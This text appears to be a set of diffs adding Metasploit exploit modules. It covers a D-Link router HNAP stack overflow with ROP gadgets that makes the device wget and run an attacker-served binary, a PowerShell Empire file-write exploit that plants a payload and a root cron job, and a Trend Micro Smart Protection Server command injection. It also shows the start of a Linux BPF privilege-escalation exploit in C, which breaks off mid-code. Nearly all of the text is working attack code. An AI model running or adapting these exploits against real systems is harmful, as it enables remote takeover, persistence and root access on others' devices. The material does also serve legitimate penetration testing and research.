is exposed on the LAN interface on port 80. This vulnerability affects the HNAP SOAP protocol,
which accepts arbitrarily long strings into certain XML parameters and then copies them into
the stack.
This exploit has been tested on the real devices DIR-818LW and 868L (rev. B), and it was tested
using emulation on the DIR-822, 823, 880, 885, 890 and 895. Others might be affected, and
this vulnerability is present in both MIPS and ARM devices.
The MIPS devices are powered by Lextra RLX processors, which are crippled MIPS cores lacking a
few load and store instructions. Because of this the payloads have to be sent unencoded, which
can cause them to fail, although the bind shell seems to work well.
For the ARM devices, the inline reverse tcp seems to work best.
Check the reference links to see the vulnerable firmware versions.
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'References' =>
[
['CVE', '2016-6563'],
['US-CERT-VU', '677427'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt'],
['URL', 'http://seclists.org/fulldisclosure/2016/Nov/38']
],
'DefaultOptions' => { 'WfsDelay' => 10 },
'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground (ARM target)
'Targets' =>
[
[ 'Dlink DIR-818 / 822 / 823 / 850 [MIPS]',
{
'Offset' => 3072,
'LibcBase' => 0x2aabe000, # should be the same offset for all firmware versions and all routers
'Sleep' => 0x56DF0, # sleep() offset into libuClibc-0.9.30.3.so
'FirstGadget' => 0x4EA1C, # see comments below for gadget information
'SecondGadget' => 0x2468C,
'ThirdGadget' => 0x41f3c,
'PrepShellcode1' => "\x23\xbd\xf3\xc8", # addi sp,sp,-3128
'PrepShellcode2' => "\x03\xa0\xf8\x09", # jalr sp
'BranchDelay' => "\x20\x84\xf8\x30", # addi a0,a0,-2000 (nop)
'Arch' => ARCH_MIPSBE,
'Payload' =>
{
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::Raw # else it will fail with SIGILL, this CPU is crippled
},
}
],
[ 'Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]',
{
'Offset' => 1024,
'LibcBase' => 0x400DA000, # we can pick any xyz in 0x40xyz000 (an x of 0/1 works well)
'System' => 0x5A270, # system() offset into libuClibc-0.9.32.1.so
'FirstGadget' => 0x18298, # see comments below for gadget information
'SecondGadget' => 0x40CB8,
'Arch' => ARCH_ARMLE,
}
],
],
'DisclosureDate' => 'Nov 7 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptString.new('SLEEP', [true, 'Seconds to sleep between requests (ARM only)', '0.5']),
OptString.new('SRVHOST', [true, 'IP address for the HTTP server (ARM only)', '0.0.0.0']),
OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']),
OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']),
OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']),
], self.class)
end
def check
begin
res = send_request_cgi({
'uri' => '/HNAP1/',
'method' => 'POST',
'Content-Type' => 'text/xml',
'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' }
})
if res && res.code == 500
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Safe
end
def calc_encode_addr (offset, big_endian = true)
if big_endian
[(target['LibcBase'] + offset).to_s(16)].pack('H*')
else
[(target['LibcBase'] + offset).to_s(16)].pack('H*').reverse
end
end
def prepare_shellcode_arm (cmd)
#All these gadgets are from /lib/libuClibc-0.9.32.1.so, which is the library used for all versions of firmware for all ARM routers
#first_gadget (pops system() address into r3, and second_gadget into PC):
#.text:00018298 LDMFD SP!, {R3,PC}
#second_gadget (puts the stack pointer into r0 and calls system() at r3):
#.text:00040CB8 MOV R0, SP
#.text:00040CBC BLX R3
#system() (Executes argument in r0 (our stack pointer)
#.text:0005A270 system
#The final payload will be:
#'a' * 1024 + 0xffffffff + 'b' * 16 + 'AAAA' + first_gadget + system() + second_gadget + command
shellcode = rand_text_alpha(target['Offset']) + # filler
"\xff\xff\xff\xff" + # n integer overwrite (see advisory)
rand_text_alpha(16) + # moar filler
rand_text_alpha(4) + # r11
calc_encode_addr(target['FirstGadget'], false) + # first_gadget
calc_encode_addr(target['System'], false) + # system() address
calc_encode_addr(target['SecondGadget'], false) + # second_gadget
cmd # our command
end
def prepare_shellcode_mips
#All these gadgets are from /lib/libuClibc-0.9.30.3.so, which is the library used for all versions of firmware for all MIPS routers
#<sleep> is at 56DF0
#first gadget - execute sleep and call second_gadget
#.text:0004EA1C move $t9, $s0 <- sleep()
#.text:0004EA20 lw $ra, 0x20+var_4($sp) <- second_gadget
#.text:0004EA24 li $a0, 2 <- arg for sleep()
#.text:0004EA28 lw $s0, 0x20+var_8($sp)
#.text:0004EA2C li $a1, 1
#.text:0004EA30 move $a2, $zero
#.text:0004EA34 jr $t9
#.text:0004EA38 addiu $sp, 0x20
#second gadget - put stack pointer in a1:
#.text:0002468C addiu $s1, $sp, 0x58
#.text:00024690 li $s0, 0x44
#.text:00024694 move $a2, $s0
#.text:00024698 move $a1, $s1
#.text:0002469C move $t9, $s4
#.text:000246A0 jalr $t9
#.text:000246A4 move $a0, $s2
#third gadget - call $a1 (stack pointer):
#.text:00041F3C move $t9, $a1
#.text:00041F40 move $a1, $a2
#.text:00041F44 addiu $a0, 8
#.text:00041F48 jr $t9
#.text:00041F4C nop
#When the crash occurs, the stack pointer is at xml_tag_value[3128]. In order to have a larger space for the shellcode (2000+ bytes), we can jump back to the beggining of the buffer.
#prep_shellcode_1: 23bdf7a8 addi sp,sp,-3128
#prep_shellcode_2: 03a0f809 jalr sp
#branch_delay: 2084f830 addi a0,a0,-2000
#The final payload will be:
#shellcode + 'a' * (2064 - shellcode.size) + sleep() + '%31' * 4 + '%32' * 4 + '%33' * 4 + third_gadget + first_gadget + 'b' * 0x1c + second_gadget + 'c' * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay
shellcode = payload.encoded + # exploit
rand_text_alpha(target['Offset'] - payload.encoded.length) + # filler
calc_encode_addr(target['Sleep']) + # s0
rand_text_alpha(4) + # s1
rand_text_alpha(4) + # s2
rand_text_alpha(4) + # s3
calc_encode_addr(target['ThirdGadget']) + # s4 (third gadget)
calc_encode_addr(target['FirstGadget']) + # initial pc / ra (first_gadget)
rand_text_alpha(0x1c) + # filler
calc_encode_addr(target['SecondGadget']) + # second_gadget
rand_text_alpha(0x58) + # filler
target['PrepShellcode1'] + # exploit prep
target['PrepShellcode2'] + # exploit prep
target['BranchDelay'] # exploit prep
end
def send_payload (payload)
begin
# the payload can go in the Action, Username, LoginPassword or Captcha XML tag
body = %{
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>something</Action>
<Username>Admin</Username>
<LoginPassword></LoginPassword>
<Captcha>#{payload}</Captcha>
</Login>
</soap:Body>
</soap:Envelope>
}
res = send_request_cgi({
'uri' => '/HNAP1/',
'method' => 'POST',
'ctype' => 'text/xml',
'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' },
'data' => body
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
end
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @pl)
print_error("#{peer} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{peer} - Sending the payload to the device...")
@elf_sent = true
send_response(cli, @pl)
end
def exploit
print_status("#{peer} - Attempting to exploit #{target.name}")
if target == targets[0]
send_payload(prepare_shellcode_mips)
else
downfile = rand_text_alpha(8+rand(8))
@pl = generate_payload_exe
@elf_sent = false
resource_uri = '/' + downfile
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{peer} - Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
print_status("#{peer} - Asking the device to download and execute #{service_url}")
filename = rand_text_alpha_lower(rand(8) + 2)
cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"
shellcode = prepare_shellcode_arm(cmd)
print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.")
counter = 0.00
while (not @elf_sent)
if counter % 50.00 == 0 && counter != 0.00
print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
end
send_payload(shellcode)
sleep datastore['SLEEP'].to_f # we need to be in the LAN, so a low value (< 1s) is fine
counter += 1
end
print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
end
end
end

View File

@ -0,0 +1,246 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
TASK_DOWNLOAD = 41
def initialize(info = {})
super(update_info(info,
'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)',
'Description' => %q{
A vulnerability existed in the PowerShellEmpire server prior to commit
f030cf62 which would allow an arbitrary file to be written to an
attacker controlled location with the permissions of the Empire server.
This exploit will write the payload to /tmp/ directory followed by a
cron.d file to execute the payload.
},
'Author' =>
[
'Spencer McIntyre', # Vulnerability discovery & Metasploit module
'Erik Daguerre' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'http://www.harmj0y.net/blog/empire/empire-fails/']
],
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => %w{ linux python },
'Targets' =>
[
[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]
],
'DefaultOptions' => { 'WfsDelay' => 75 },
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 15 2016'))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]),
OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]),
OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]),
OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ])
], self.class)
end
def check
return Exploit::CheckCode::Safe if get_staging_key.nil?
Exploit::CheckCode::Appears
end
def aes_encrypt(key, data, include_mac=false)
cipher = OpenSSL::Cipher::AES256.new(:CBC)
cipher.encrypt
iv = cipher.random_iv
cipher.key = key
cipher.iv = iv
data = iv + cipher.update(data) + cipher.final
digest = OpenSSL::Digest.new('sha1')
data << OpenSSL::HMAC.digest(digest, key, data) if include_mac
data
end
def create_packet(res_id, data, counter=nil)
data = Rex::Text::encode_base64(data)
counter = Time.new.to_i if counter.nil?
[ res_id, counter, data.length ].pack('VVV') + data
end
def reversal_key
# reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016)
[
[ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d],
[ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29],
[ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a],
[ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24]
]
end
def rsa_encode_int(value)
encoded = []
while value > 0 do
encoded << (value & 0xff)
value >>= 8
end
Rex::Text::encode_base64(encoded.reverse.pack('C*'))
end
def rsa_key_to_xml(rsa_key)
rsa_key_xml = "<RSAKeyValue>\n"
rsa_key_xml << " <Exponent>#{ rsa_encode_int(rsa_key.e.to_i) }</Exponent>\n"
rsa_key_xml << " <Modulus>#{ rsa_encode_int(rsa_key.n.to_i) }</Modulus>\n"
rsa_key_xml << "</RSAKeyValue>"
rsa_key_xml
end
def get_staging_key
# STAGE0_URI resource requested by the initial launcher
# The default STAGE0_URI resource is index.asp
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI'])
})
return unless res and res.code == 200
staging_key = Array.new(32, nil)
staging_data = res.body.bytes
reversal_key.each_with_index do |(pos, char_code), key_pos|
staging_key[key_pos] = staging_data[pos] ^ char_code
end
return if staging_key.include? nil
# at this point the staging key should have been fully recovered but
# we'll verify it by attempting to decrypt the header of the stage
decrypted = []
staging_data[0..23].each_with_index do |byte, pos|
decrypted << (byte ^ staging_key[pos])
end
return unless decrypted.pack('C*').downcase == 'function start-negotiate'
staging_key
end
def write_file(path, data, session_id, session_key, server_epoch)
# target_url.path default traffic profile for empire agent communication
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50
data = create_packet(
TASK_DOWNLOAD,
[
'0',
session_id + path,
Rex::Text::encode_base64(data)
].join('|'),
server_epoch
)
if datastore['PROFILE'].blank?
profile_uri = normalize_uri(target_uri.path, %w{ admin/get.php news.asp login/process.jsp }.sample)
else
profile_uri = normalize_uri(target_uri.path, datastore['PROFILE'])
end
res = send_request_cgi({
'cookie' => "SESSIONID=#{session_id}",
'data' => aes_encrypt(session_key, data, include_mac=true),
'method' => 'POST',
'uri' => normalize_uri(profile_uri)
})
fail_with(Failure::Unknown, "Failed to write file") unless res and res.code == 200
res
end
def cron_file(command)
cron_file = 'SHELL=/bin/sh'
cron_file << "\n"
cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
cron_file << "\n"
cron_file << "* * * * * root #{command}"
cron_file << "\n"
cron_file
end
def exploit
vprint_status('Recovering the staging key...')
staging_key = get_staging_key
if staging_key.nil?
fail_with(Failure::Unknown, 'Failed to recover the staging key')
end
vprint_status("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}")
staging_key = staging_key.pack('C*')
rsa_key = OpenSSL::PKey::RSA.new(2048)
session_id = Array.new(50, '..').join('/')
# STAGE1_URI, The resource used by the RSA key post
# The default STAGE1_URI resource is index.jsp
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
res = send_request_cgi({
'cookie' => "SESSIONID=#{session_id}",
'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)),
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
})
fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200
vprint_status("Successfully sent the RSA key")
# decrypt the response and pull out the epoch and session_key
body = rsa_key.private_decrypt(res.body)
server_epoch = body[0..9].to_i
session_key = body[10..-1]
print_status('Successfully negotiated an artificial Empire agent')
payload_data = nil
payload_path = '/tmp/' + rand_text_alpha(8)
case target['Arch']
when ARCH_PYTHON
cron_command = "python #{payload_path}"
payload_data = payload.raw
when ARCH_X86, ARCH_X64
cron_command = "chmod +x #{payload_path} && #{payload_path}"
payload_data = payload.encoded_exe
end
print_status("Writing payload to #{payload_path}")
write_file(payload_path, payload_data, session_id, session_key, server_epoch)
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
print_status("Writing cron job to #{cron_path}")
write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch)
print_status("Waiting for cron job to run, can take up to 60 seconds")
register_files_for_cleanup(cron_path)
register_files_for_cleanup(payload_path)
# Empire writes to a log file location based on the Session ID, so when
# exploiting this vulnerability that file ends up in the root directory.
register_files_for_cleanup('/agent.log')
end
end

View File

@ -87,7 +87,7 @@ class MetasploitModule < Msf::Exploit::Remote
headers = res.to_s headers = res.to_s
# validate headers # validate headers
if headers.incude?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28') if headers.include?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28')
# and make sure that the body contains the title we'd expect # and make sure that the body contains the title we'd expect
if res.body.include?('Login to BlackArmor') if res.body.include?('Login to BlackArmor')
return Exploit::CheckCode::Appears return Exploit::CheckCode::Appears

View File

@ -0,0 +1,208 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'openssl'
require 'base64'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "Trend Micro Smart Protection Server Exec Remote Code Injection",
'Description' => %q{
This module exploits a vulnerability found in TrendMicro Smart Protection Server where untrusted inputs are fed to ServWebExec system command, leading to command injection.
Please note: authentication is required to exploit this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Quentin Kaiser <kaiserquentin[at]gmail.com>'
],
'References' =>
[
['CVE-ID', 'CVE-2016-6267']
],
'Platform' => 'linux',
'Targets' => [ [ 'Linux', {} ] ],
'Payload' => { 'BadChars' => "\x00" },
'CmdStagerFlavor' => [ 'bourne' ],
'Privileged' => false,
'DefaultOptions' =>
{
'SSL' => true
},
'DisclosureDate' => "Aug 8 2016",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('SSL', [ true, 'Use SSL', true ]),
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptAddress.new("LHOST", [true, "The local host for the exploits and handlers", Rex::Socket.source_address]),
OptPort.new('LPORT', [true, "The port SPS will connect back to ", 4444 ]),
OptString.new('ADMINACCOUNT', [true, 'Name of the SPS admin account', 'admin']),
OptString.new('ADMINPASS', [true, 'Password of the SPS admin account', 'admin']),
], self.class)
end
def check
opts = login
if opts
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "php/about.php?sid=#{opts['sid']}"),
'headers'=>
{
'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}",
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
}
})
if res and res.code == 200
version = res.body.to_s.scan(/MSG_ABOUT_VERSION <\/td>[^<]*<td[^>]*>([^<]*)</).last.first.to_f
build = res.body.to_s.scan(/MSG_ABOUT_BUILD <\/td>[^<]*<td[^>]*><span[^>]*>([^<]*)</).last.first.to_i(10)
print_status("TrendMicro Smart Protection Server detected.")
print_status("Version: #{version}")
print_status("Build: #{build}")
if (version == 3.0 and build < 1330) or
(version == 2.6 and build < 2106) or
(version == 2.5 and build < 2200)
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
end
Exploit::CheckCode::Unknown
end
def execute_command(cmd, opts = {})
uri = target_uri.path
send_request_cgi({
'method' => 'POST',
'version' => '1.0',
'timeout' => 1,
'uri' => normalize_uri(uri, 'php/admin_notification.php'),
'ctype' => 'application/x-www-form-urlencoded',
'headers'=>
{
'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}",
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
},
'vars_post' => {
'EnableSNMP' => 'on',
'Community' => 'hello',
'submit' => 'Save',
'pubkey' => '',
'spare_EnableSNMP' => 1,
'spare_Community' => "test;#{cmd}",
'spare_EnableIPRestriction' => 0,
'spare_AllowGroupIP' => '',
'spare_AllowGroupNetmask' => '',
'sid' => opts["sid"]
}
})
end
def login
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
})
if res and res.code == 200 and !res.get_cookies.empty?
sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first.strip
sid_value = res.get_cookies.scan(/#{sid}=([a-z0-9]+);/).last.first
n = res.body.to_s.scan(/name="pubkey" value="([^"]*)"/).last.first
nonce = res.body.to_s.scan(/name="nonce" value="([^"]*)"/).last.first
asn1_sequence = OpenSSL::ASN1::Sequence.new(
[
OpenSSL::ASN1::Integer.new("0x#{n}".to_i(16)),
OpenSSL::ASN1::Integer.new("0x10001".to_i(16))
]
)
public_key = OpenSSL::PKey::RSA.new(asn1_sequence)
creds = "#{datastore['ADMINACCOUNT']}\t#{datastore['ADMINPASS']}\t#{nonce}"
data = Base64.encode64(public_key.public_encrypt(creds))
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "auth.php"),
'ctype' => 'application/x-www-form-urlencoded',
'headers'=>
{
'Cookie' => "#{sid}=#{sid_value}",
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
},
'vars_post' => {
'data' => data,
'sid' => sid
}
})
if res and res.code == 302
if res.headers.key?('Set-Cookie')
sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first
sid_value = res.get_cookies.scan(/#{sid}=([^;]*);/).last.first
end
report_cred(
ip: datastore['RHOST'],
port: datastore['RPORT'],
service_name: (ssl ? "https" : "http"),
user: datastore['ADMINACCOUNT'],
password: datastore['ADMINPASS'],
proof: "#{sid}=#{sid_value}"
)
return {"sid" => sid, "sid_value" => sid_value}
end
end
nil
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def exploit
opts = login
if opts
print_status("Successfully logged in.")
print_status("Exploiting...")
execute_cmdstager(opts=opts)
else
print_error("An error occured while loggin in.")
end
end
end

View File

@ -0,0 +1,501 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info={})
super( update_info( info, {
'Name' => 'Linux BPF Local Privilege Escalation',
'Description' => %q{
Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled
sysctl is not set to 1, BPF can be abused to priv escalate.
Ubuntu 16.04 has all of these conditions met.
},
'License' => MSF_LICENSE,
'Author' =>
[
'jannh@google.com', # discovery
'h00die <mike@shorebreaksecurity.com>' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2016-4557' ],
[ 'EDB', '39772' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808' ],
[ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7' ]
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' =>
{
'payload' => 'linux/x64/mettle/reverse_tcp',
'PrependFork' => true,
'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
},
'DefaultTarget' => 1,
'DisclosureDate' => 'May 04 2016',
'Privileged' => true
}
))
register_options([
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ])
], self.class)
end
def check
def check_config_bpf_syscall?()
output = cmd_exec('grep CONFIG_BPF_SYSCALL /boot/config-`uname -r`')
if output == 'CONFIG_BPF_SYSCALL=y'
vprint_good('CONFIG_BPF_SYSCALL is set to yes')
return true
else
print_error('CONFIG_BPF_SYSCALL is NOT set to yes')
return false
end
end
def check_kernel_disabled?()
output = cmd_exec('sysctl kernel.unprivileged_bpf_disabled')
if output != 'kernel.unprivileged_bpf_disabled = 1'
vprint_good('kernel.unprivileged_bpf_disabled is NOT set to 1')
return true
else
print_error('kernel.unprivileged_bpf_disabled is set to 1')
return false
end
end
def check_fuse?()
lib = cmd_exec('dpkg --get-selections | grep ^fuse')
if lib.include?('install')
vprint_good('fuse is installed')
return true
else
print_error('fuse is not installed. Exploitation will fail.')
return false
end
end
def mount_point_exists?()
if directory?('/tmp/fuse_mount')
print_error('/tmp/fuse_mount should be unmounted and deleted. Exploitation will fail.')
return false
else
vprint_good('/tmp/fuse_mount doesn\'t exist')
return true
end
end
if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?()
CheckCode::Appears
else
CheckCode::Safe
end
end
def exploit
def upload_and_compile(filename, file_path, file_content, compile=nil)
rm_f "#{file_path}"
if not compile.nil?
rm_f "#{file_path}.c"
vprint_status("Writing #{filename} to #{file_path}.c")
write_file("#{file_path}.c", file_content)
register_file_for_cleanup("#{file_path}.c")
output = cmd_exec(compile)
if output != ''
print_error(output)
fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
end
else
vprint_status("Writing #{filename} to #{file_path}")
write_file(file_path, file_content)
end
cmd_exec("chmod +x #{file_path}");
register_file_for_cleanup(file_path)
end
doubleput = %q{
#define _GNU_SOURCE
#include <stdbool.h>
#include <errno.h>
#include <err.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <linux/bpf.h>
#include <linux/kcmp.h>
#ifndef __NR_bpf
# if defined(__i386__)
# define __NR_bpf 357
# elif defined(__x86_64__)
# define __NR_bpf 321
# elif defined(__aarch64__)
# define __NR_bpf 280
# else
# error
# endif
#endif
int uaf_fd;
int task_b(void *p) {
/* step 2: start writev with slow IOV, raising the refcount to 2 */
char *cwd = get_current_dir_name();
char data[2048];
sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd);
struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };
if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))
errx(1, "system() failed");
int fuse_fd = open("fuse_mount/hello", O_RDWR);
if (fuse_fd == -1)
err(1, "unable to open FUSE fd");
if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
errx(1, "unable to write to FUSE fd");
struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
if (iov_ == MAP_FAILED)
err(1, "unable to mmap FUSE fd");
fputs("starting writev\n", stderr);
ssize_t writev_res = writev(uaf_fd, iov_, 1);
/* ... and starting inside the previous line, also step 6: continue writev with slow IOV */
if (writev_res == -1)
err(1, "writev failed");
if (writev_res != strlen(data))
errx(1, "writev returned %d", (int)writev_res);
fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr);
while (1) sleep(1); /* whatever, just don't crash */
}
void make_setuid(void) {
/* step 1: open writable UAF fd */
uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);
if (uaf_fd == -1)
err(1, "unable to open UAF fd");
/* refcount is now 1 */
char child_stack[20000];
int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);
if (child == -1)
err(1, "clone");
sleep(3);
/* refcount is now 2 */
/* step 2+3: use BPF to remove two references */
for (int i=0; i<2; i++) {
struct bpf_insn insns[2] = {
{
.code = BPF_LD | BPF_IMM | BPF_DW,
.src_reg = BPF_PSEUDO_MAP_FD,
.imm = uaf_fd
},
{
}
};
union bpf_attr attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = 2,
.insns = (__aligned_u64) insns,
.license = (__aligned_u64)""
};
if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)
errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
if (errno != EINVAL)
err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
}
/* refcount is now 0, the file is freed soon-ish */
/* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */
int status;
int hostnamefds[1000];
int used_fds = 0;
bool up = true;
while (1) {
if (waitpid(child, &status, WNOHANG) == child)
errx(1, "child quit before we got a good file*");
if (up) {
hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY);
